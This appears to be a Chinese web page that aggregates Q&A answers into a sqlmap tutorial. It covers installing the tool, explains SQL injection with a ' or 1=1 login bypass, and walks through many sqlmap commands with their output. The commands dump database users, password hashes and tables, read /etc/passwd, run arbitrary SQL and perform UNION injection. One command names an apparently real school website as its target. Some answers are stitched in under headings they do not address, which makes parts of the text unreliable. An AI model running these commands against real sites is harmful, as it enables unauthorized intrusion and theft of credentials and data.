×

sqlmap详细教程

sqlmap详细教程(sqlmap使用教程中文手册)

hacker hacker 发表于2022-05-29 03:18:32 浏览16 评论1

1人参与发表评论

本文导读目录:
1、sqlmap和教程上的不一样,照着教程配置也打不开我的打开后只显示C:python27\sqlmap>,网上的命令也不能用
2、sqlmap怎么批量进行sql注入
3、如何用sqlmap写入文件步骤
4、sqlmap不能运行,怎么解决
5、哪位大神能告诉我什么是sql注入?讲的通俗易懂些,百度的资料都看过了,还有如何用sqlmap进行sql注入?
6、sqlmapapi批量检测注入工具 怎么用
7、SQLmap使用方法?为什么按照网上的教程安装后使用网上说的命令却不能使用?
8、安装sqlmap时出现的问题 最后出现 No module named thirdparty.clientform.clientform

sqlmap和教程上的不一样,照着教程配置也打不开我的打开后只显示C:python27\sqlmap>,网上的命令也不能用

你自己的问题,你第二个的python前面为什么带了路径,你已经再sqlmap文件路径,那么你可以直接拿python 执行sqlmap 就可以 ,而且你提示说你那个路径不是有效执行命令

sqlmap怎么批量进行sql注入

1.什么是SQL注入?

SQL注入是一种代码注入技术,过去常常用于攻击数据驱动性的应用,比如将恶意的SQL代码注入到特定字段用于实施拖库攻击等。SQL注入的成功必须借助应用程序的安全漏洞,例如用户输入没有经过正确地过滤(针对某些特定字符串)或者没有特别强调类型的时候,都容易造成异常地执行SQL语句。SQL注入是网站渗透中最常用的攻击技术,但是其实SQL注入可以用来攻击所有的SQL数据库。在这个指南中我会向你展示在Kali?Linux上如何借助SQLMAP来渗透一个网站(更准确的说应该是数据库),以及提取出用户名和密码信息。

2.什么是SQLMAP?

SQLMAP是一个开源的渗透测试工具,它主要用于自动化地侦测和实施SQL注入攻击以及渗透数据库服务器。SQLMAP配有强大的侦测引擎,适用于高级渗透测试用户,不仅可以获得不同数据库的指纹信息,还可以从数据库中提取数据,此外还能够处理潜在的文件系统以及通过带外数据连接执行系统命令等。

访问SQLMAP的官方网站可以获得SQLMAP更为详细的介绍,如它的多项特性,最为突出的是SQLMAP完美支持MySQL、Oracle、PostgreSQL、MS-SQL与Access等各种数据库的SQL侦测和注入,同时可以进行六种注入攻击。

还有很重要的一点必须说明:在你实施攻击之前想想那些网站的建立者或者维护者,他们为网站耗费了大量的时间和努力,并且很有可能以此维生。你的行为可能会以你永远都不希望的方式影响到别人。我想我已经说的够清楚了。

0x01 定位注入的网站

这通常是最枯燥和最耗时的一步,如果你已经知道如何使用Google?Dorks(Google?dorks?sql?insection:谷歌傻瓜式SQL注入)或许会有些头绪,但是假如你还没有整理过用于Google搜索的那些字符串的话,可以考虑复制下面的条目,等待谷歌的搜索结果。

如何用sqlmap写入文件步骤

1、判断可注入的参数

2、判断可以用那种SQL注入技术来注入

3、识别出哪种数据库

4、根据用户选择,读取哪些数据

sqlmap支持五种不同的注入模式:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4、联合查询注入,可以使用union的情况下的注入。

5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap不能运行,怎么解决

步骤如下

1.

去官网下载

http://sqlmap.org/,

download.zip

file

2.

去网上找python2.7的安装包(按照官网上FAQ中的解释Python

=

2.6

and

3.0.这个范围以内的python都可以)

p.s.如果你有更高级的python也没关系,不用卸载,我就是这样,直接装上python2.7就ok

3.解压下载的sqlmap压缩包,然后重命名为sqlmap(方便cmd下输入),然后放入python2.7安装路径下就ok,一般就是C:\Python27

4.

然后点击sqlmap目录下的sqlmap.py,右键,打开方式,浏览,找到python2.7的python.exe。要不然有可能用更高级的python版本来打开,那就会出错了(没有其他python版本的忽略这步)

5.

以管理员身份运行cmd,(cmd右键,管理员身份运行)然后cd到你放sqlmap程序的目录,运行就可以了。(注意,sqlmap主程序是sqlmap.py,输入时不要落下.py的后缀)

p.s.

有一个更方便的方法:在sqlmap的目录里面建一个批处理(新建文本文档,然后把后缀改成.bat)里面写cmd.exe即可,之后创建该批处理的快捷方式,这样就省去了之前不断cd切换目录的步骤,直接就是sqlmap的路径了。

p.s.运行时注意直接输入参数,开始注入即可。可以看看底下那张图上,我是怎么输入的。那个网址只是举个例子。

如果只是输入sqlmap.py运行的话会报错的,就像这样

Usage:

python

C:\Python27\sqlmap\sqlmap.py

[options]

sqlmap.py:

error:

missing

a

mandatory

parameter

('-d',

'-u',

'-l',

'-r',

'-g',

'-c',

'--wizard'

or

'--update'),

-h

for

help

Press

Enter

to

continue...

6.之后的详细的使用方法上网去找吧。

总结一下几个关键的地方

1.

需要用管理员cmd找到sqlmap.py然后运行

2.

一定要是2.6-3.0的python

3.

要从官网上下载安装文件,官网里面的才是原版的。之前我都是找下载站里面的。

建议下载了以后就直接放进C:\python27,方便cmd下找到文件。

好像有的人直接输入sqlmap就直接能打开程序,不知道他们怎么弄的,反正像这样在cmd下用cd找到程序再运行也可以。

哪位大神能告诉我什么是sql注入?讲的通俗易懂些,百度的资料都看过了,还有如何用sqlmap进行sql注入?

一般开发,肯定是在前台有两个输入框,一个用户名,一个密码,会在后台里,读取前台传入的这两个参数,拼成一段SQL,例如: select count(1) from tab where usesr=userinput and pass = passinput,把这段SQL连接数据后,看这个用户名/密码是否存在,如果存在的话,就可以登陆成功了,如果不存在,就报一个登陆失败的错误。对吧。

但是有这样的情况,这段SQL是根据用户输入拼出来,如果用户故意输入可以让后台解析失败的字符串,这就是SQL注入,例如,用户在输入密码的时候,输入 '''' ' or 1=1'', 这样,后台的程序在解析的时候,拼成的SQL语句,可能是这样的: select count(1) from tab where user=userinput and pass='' or 1=1; 看这条语句,可以知道,在解析之后,用户没有输入密码,加了一个恒等的条件 1=1,这样,这段SQL执行的时候,返回的 count值肯定大于1的,如果程序的逻辑没加过多的判断,这样就能够使用用户名 userinput登陆,而不需要密码。

防止SQL注入,首先要对密码输入中的单引号进行过滤,再在后面加其它的逻辑判断,或者不用这样的动态SQL拼。

sqlmapapi批量检测注入工具 怎么用

sqlmapapi.py给使用者提供了一个强大的功能,服务功能。使用者可以利用sqlmapapi.py开启服务端口,以后只要向sqlmapapi发送请求,就可以进行sql注入,然后发送查询请求,就可以得到这个url是否是注入点,以及详细的内容。同学们看到这里是不是有些小激动呢? sqlmapapi.py的help,我们需要用的是-s参数,也许你也有可能用到-p参数。

从sqlmapapi.py文件可以看出来,我们利用的文件的调用关系是

进入到lib/utils/api.py的server类,可以发现通过向server提交数据进行与服务的交互。 一共分为3种类型。

Users' methods 用户方法

Admin function 管理函数

sqlmap core interact functions 核心交互函数

可以提交数据的种类如下。

用户方法

@get("/task/new")

@get("/task//delete")

管理函数

@get("/admin//list")

@get("/admin//flush")

SQLmap使用方法?为什么按照网上的教程安装后使用网上说的命令却不能使用?

运行sqlmap命令的位置不对,你当前的c:\Python27\目录下并没有sqlmap文件。试试更改当前目录为c:\Python27\sqlmap后在运行上述命令。

即在c:\Python27后面输入cd sqlmap 然后会进入到c:\Python27\sqlmap在这里输入sqlmap -u http://school.xrui.net/read.php?id=87

安装sqlmap时出现的问题 最后出现 No module named thirdparty.clientform.clientform

昨天晚上实在忍不住,还是看了一些,然后测试了一下。里面的sql语句太过于简单,不过你可以定制。修改为更富在的语句。以绕过注入检测和其他IDS设 备。 稍晚一下,我编译一个dos版本的给你们。

1、首先安装python2.5。 2、然后进入sqlmap的目录,执行sqlmap

详细用法

1、sqlmap -u 注入点 2、sqlmap -g "关键词“ //这是通过google搜索注入,现在还不可以,不知道是什么原因,可以直接修改为百度 3、 python sqlmap.py -u "http://192.168.1.47/page.php?id=1cat=2" -v 1

[hh:mm:25] [INFO] testing if the url is stable, wait a few seconds [hh:mm:26] [INFO] url is stable [hh:mm:26] [INFO] testing if GET parameter 'id' is dynamic [hh:mm:26] [INFO] confirming that GET parameter 'id' is dynamic [hh:mm:26] [INFO] GET parameter 'id' is dynamic [hh:mm:26] [INFO] testing sql injection on GET parameter 'id' [hh:mm:26] [INFO] testing numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] confirming numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] GET parameter 'id' is numeric/unescaped injectable [hh:mm:26] [INFO] testing MySQL [hh:mm:26] [INFO] query: CONCAT('5', '5') [hh:mm:26] [INFO] retrieved: 55 [hh:mm:26] [INFO] performed 20 queries in 0 seconds [hh:mm:26] [INFO] confirming MySQL [hh:mm:26] [INFO] query: LENGTH('5') [hh:mm:26] [INFO] retrieved: 1 [hh:mm:26] [INFO] performed 13 queries in 0 seconds [hh:mm:26] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 [hh:mm:26] [INFO] retrieved: 5 [hh:mm:26] [INFO] performed 13 queries in 0 seconds remote DBMS: MySQL = 5.0.0

4、指定参数注入

python sqlmap.py -u "http://192.168.1.47/page.php?id=1cat=2" -v 1 -p "id"

[hh:mm:17] [INFO] testing if the url is stable, wait a few seconds [hh:mm:18] [INFO] url is stable [hh:mm:18] [INFO] testing sql injection on parameter 'id' [hh:mm:18] [INFO] testing numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] confirming numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] parameter 'id' is numeric/unescaped injectable [...]

Or if you want to provide more than one parameter, for instance:

$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1cat=2" -v 1 -p "cat,id"

5、指定方法和post的数据 python sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" -- data "id=1cat=2"

6、指定cookie,可以注入一些需要登录的地址 python sqlmap.py -u "http://192.168.1.47/page.php?id=1cat=2" --cookie "COOKIE_VALUE"

7、通过代理注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1cat=2" --proxy "http://127.0.0.1:8118" 8、指定关键词,也可以不指定。程序会根据返回结果的hash自动判断 python sqlmap.py -u "http://192.168.1.47/page.php?id=1cat=2" --string "STRING_ON_TRUE_PAGE" 9、指定数据,这样就不用猜测其他的数据库里。可以提高效率。 --remote-dbms 10、指纹判别数据库类型 python sqlmap.py -u "http://192.168.1.47/page.php?id=1cat=2" -v 1 -f 11、获取banner信息 python sqlmap.py -u "http://192.168.1.47/page.php?id=1cat=2" -b

banner: '5.0.38-Ubuntu_0ubuntu1.1-log'

12、获取当前数据库,当前用户,所有用户,密码,所有可用数据库。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1cat=2" -- current-db

current database: 'testdb'

python sqlmap.py -u "http://192.168.1.47/page.php?id=1cat=2" --users

database management system users [5]: [*] 'debian-sys-maint'@'localhost' [*] 'root'@'127.0.0.1' [*] 'root'@'leboyer' [*] 'root'@'localhost' [*] 'testuser'@'localhost'

python sqlmap.py -u "http://192.168.1.47/page.php?id=1cat=2" -- passwords

database management system users password hashes: [*] debian-sys-maint [1]: password hash: *XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX [*] root [1]: password hash: *YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY [*] testuser [1]: password hash: *ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ

python sqlmap.py -u "http://192.168.1.47/page.php?id=1cat=2" --dbs

available databases [3]: [*] information_schema [*] mysql [*] testdb

python sqlmap.py -u "http://192.168.1.47/page.php?id=1cat=2" --tables -D "information_schema"

Database: information_schema [16 tables] +---------------------------------------+ | CHARACTER_SETS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLLATIONS | | COLUMN_PRIVILEGES | | COLUMNS | | KEY_COLUMN_USAGE | | ROUTINES | | SCHEMA_PRIVILEGES | | SCHEMATA | | STATISTICS | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TABLES | | TRIGGERS | | USER_PRIVILEGES | | VIEWS | +---------------------------------------+

python sqlmap.py -u "http://192.168.1.47/page.php?id=1cat=2" -- columns -T "user" -D "mysql"

Database: mysql Table: user [37 columns] +-----------------------+------+ | Column | Type | +-----------------------+------+ | Alter_priv | enum | | Alter_routine_priv | enum | | Create_priv | enum | | Create_routine_priv | enum | | Create_tmp_table_priv | enum | | Create_user_priv | enum | | Create_view_priv | enum | | Delete_priv | enum | | Drop_priv | enum | | Execute_priv | enum | | File_priv | enum | | Grant_priv | enum | | Host | char | | Index_priv | enum | | Insert_priv | enum | | Lock_tables_priv | enum | | max_connections | int | | max_questions | int | | max_updates | int | | max_user_connections | int | | Password | char | | Process_priv | enum | | References_priv | enum | | Reload_priv | enum | | Repl_client_priv | enum | | Repl_slave_priv | enum | | Select_priv | enum | | Show_db_priv | enum | | Show_view_priv | enum | | Shutdown_priv | enum | | ssl_cipher | blob | | ssl_type | enum | | Super_priv | enum | | Update_priv | enum | | User | char | | x509_issuer | blob | | x509_subject | blob | +-----------------------+------+

13、显示指定的文件内容,一般用于php python sqlmap.py -u "http://192.168.1.47/page.php?id=1cat=2" --file / etc/passwd

/etc/passwd: --- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/false backup:x:34:34:backup:/var/backups:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/ bin/bash inquis:x:1000:100:Bernardo Damele,,,:/home/inquis:/bin/bash ---

14、执行你自己的sql语句。

python sqlmap.py -u "http://192.168.1.47/page.php?id=1cat=2" -v 1 -e "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1"

[hh:mm:18] [INFO] fetching expression output: 'SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1' [hh:mm:18] [INFO] query: SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1 [hh:mm:18] [INFO] retrieved: YYYYYYYYYYYYYYYY [hh:mm:19] [INFO] performed 118 queries in 0 seconds SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1: 'YYYYYYYYYYYYYYYY'

15、union注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1cat=2" --union- check

valid union: 'http://192.168.1.47/page.php?id=1 UNION ALL SELECT NULL, NULL, NULL--cat=2'

python sqlmap.py -u "http://192.168.1.47/page.php?id=1cat=2" -v 1 -- union-use --banner

[...] [hh:mm:24] [INFO] testing inband sql injection on parameter 'id' [hh:mm:24] [INFO] the target url could be affected by an inband sql injection vulnerability [hh:mm:24] [INFO] confirming inband sql injection on parameter 'id' [...] [hh:mm:24] [INFO] fetching banner [hh:mm:24] [INFO] request: http://192.168.1.47/page.php?id=1 UNION ALL SELECT CONCAT(CHAR(95,95,83,84,65,82,84,95,95), VERSION(), CHAR(95,95,83,84,79,80,95,95)), NULL, NULL--cat=2 [hh:mm:24] [INFO] performed 1 queries in 0 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log'

16、保存注入过程到一个文件,还可以从文件恢复出注入过程,很方便,一大特色。你可以在注入的时候中断,有时间再继续。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1cat=2" -v 1 -b - o "sqlmap.log"

[...] [hh:mm:09] [INFO] fetching banner [hh:mm:09] [INFO] query: VERSION() [hh:mm:09] [INFO] retrieved: 5.0.30-Debian_3-log [hh:mm:11] [INFO] performed 139 queries in 1 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log'

python sqlmap.py -u "http://192.168.1.47/page.php?id=1cat=2" -v 1 -- banner -o "sqlmap.log" --resume

[...] [hh:mm:13] [INFO] fetching banner [hh:mm:13] [INFO] query: VERSION() [hh:mm:13] [INFO] retrieved the length of query: 26 [hh:mm:13] [INFO] resumed from file 'sqlmap.log': 5.0.45-Deb [hh:mm:13] [INFO] retrieved: ian_1ubuntu3-log banner:

群贤毕至

访客
笙沉嵶邸 笙沉嵶邸2022-05-29 11:15:48 | 回复 word hashes: [*] debian-sys-maint [1]: password hash: *XXXXXXXXXXXXXXXXXXXXXXXXX